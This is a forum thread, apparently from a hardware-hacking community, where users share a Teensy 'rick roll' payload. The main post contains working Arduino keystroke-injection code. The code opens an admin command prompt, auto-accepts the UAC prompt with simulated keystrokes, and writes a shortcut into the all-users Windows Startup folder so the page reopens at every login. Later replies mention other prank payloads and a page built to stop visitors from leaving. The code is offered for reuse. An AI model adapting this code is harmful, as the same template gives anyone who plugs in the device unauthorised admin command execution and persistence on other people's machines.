Jump to content

Recommended Posts

Posted

Hi there maybe you could help me

I am trying to make a rick roller for the teensy

I thought to make a startup entry that would point to

and if possible run full screen, maybe without controls ect.

If anyone has done something like this already I would realy appreciate taking a look at it

or maybe you have some ideas of your own?

also I have no idea how to add or make a startup entry

maybe it could be done with cmd.exe as admin and added to the startup folder?

Posted (edited)

Ok so I did manage to get the teensy to rick roll:)

This code is made for vista and will most likely work on seven

/*
All of the included functions are from one of my libarys called tfmanlib
I am still working on it but if you would like a zip of it just ask and
I'll put it up here
*/


int ledPin =  11;

void setup() {

  delay(5000);
  pinMode(ledPin, OUTPUT);

  startMenuPromptAsAdmin("cmd.exe", 40); //40% more delay I add int delayPercent to all my functions

  tfmDelay(1200, 25); //25%
  Keyboard.print("cd \\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
  keyPressAmount(KEY_ENTER, 1);
  Keyboard.print("echo [InternetShortcut] > rickroll.url");
  keyPressAmount(KEY_ENTER, 1);
  Keyboard.print("echo URL=http://www.thekickback.com/rickroll/rickroll.php >> rickroll.url");
  keyPressAmount(KEY_ENTER, 1);
  Keyboard.print("exit");
  keyPressAmount(KEY_ENTER, 1);

}



void loop()
{
  digitalWrite(ledPin, HIGH);   // set the LED on
  delay(1000);                  // wait for a second
  digitalWrite(ledPin, LOW);    // set the LED off
  delay(1000);                  // wait for a second
}



/*Code from petertfm. inspired by code from H@L0_F00. at hak5.org*/
void tfmDelay(unsigned long delayMS, int delayPercent) {

	delay(((delayMS * delayPercent) / 100) + delayMS);

}



void startMenuPromptAsAdmin(char *commandToRun, int delayPercent) {

	openStartMenu(delayPercent);
	Keyboard.print(commandToRun);
	tfmDelay(strlen(commandToRun) * 6, delayPercent);
	startMenuRunUAC(delayPercent);

}



void openStartMenu(int delayPercent) {

	Keyboard.set_modifier(MODIFIERKEY_CTRL);
	Keyboard.send_now();
	Keyboard.set_key1(KEY_ESC);
	Keyboard.send_now();

	tfmDelay(60, delayPercent);

	clearKey1();

	tfmDelay(120, delayPercent);

}



void startMenuRunUAC(int delayPercent) {

	/*Press CTRL+SHIFT+ENTER for UAC prompt*/
	Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
	Keyboard.send_now();
	tfmDelay(400, delayPercent);
	Keyboard.set_key1(KEY_ENTER);
	Keyboard.send_now();

	tfmDelay(100, delayPercent);

	clearKey1();


	tfmDelay(1200, delayPercent); /*Time for UAC to appear*/

	UACAccept(delayPercent);

}



void UACAccept(int delayPercent) {

	/*Accept UAC prompt*/
	Keyboard.set_key1(KEY_LEFT);
	Keyboard.send_now();
	clearKey1();

	tfmDelay(10, delayPercent);

	Keyboard.set_key1(KEY_ENTER);
	Keyboard.send_now();
	clearKey1();

}



void clearKey1() {

	Keyboard.set_modifier(0);
	Keyboard.set_key1(0);
	Keyboard.send_now();

}



void moveOffScreen(int moveAmount, int delayPercent) {

	Keyboard.set_modifier(MODIFIERKEY_ALT);
	Keyboard.send_now();
	tfmDelay(20, delayPercent);
	Keyboard.set_key1(KEY_SPACE);
	Keyboard.send_now();
	tfmDelay(50, delayPercent);
	clearKey1();

	Keyboard.set_key1(KEY_M);
	Keyboard.send_now();
	tfmDelay(50, delayPercent);
	clearKey1();

	tfmDelay(10, delayPercent);

	keyPressAmount(KEY_DOWN, moveAmount);

	Keyboard.set_key1(KEY_ENTER);
	Keyboard.send_now();
	clearKey1();

}



void keyPressAmount(int keyToPress, int amountToPress) {

	for (int pressAmount = 1; pressAmount <= amountToPress; pressAmount++) {

		Keyboard.set_key1(keyToPress);
		Keyboard.send_now();
		Keyboard.set_key1(0); 
		Keyboard.send_now();

	}

}

Please let me know If there are any bugs?

feel free to steal my code It is inspired by you guys anyways:)

also I am looking for some linux and mac sketches so I can include them into my

switches library It's now complete but needs a good sketch to demo it

Edited by petertfm
Posted

I have a Rickroll payload in PsyDuk, although it doesn't make it fullscreen or present the victim with heaps of popups.

(Those popups are pointless in Chrome though.)

Posted
I have a Rickroll payload in PsyDuk, although it doesn't make it fullscreen or present the victim with heaps of popups.

(Those popups are pointless in Chrome though.)

Cool I'll have to finally learn to use c.

I can't figure out how to compile your code?

or maybe I'm overlooking something?

  • 3 weeks later...
  • 2 weeks later...
Posted

There is no payload, it just play the song over and over, and makes your browser dance all over the screen; whats more if you try to close it pops up the message box that would say "are you sure you want to leave?", but replaces it with lyrics and only has a cancel button (making it impossible to leave). :lol:

Michael (ps. if you need to reach me email me at michaelromkee@yahoo.com, I do not check here often.)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...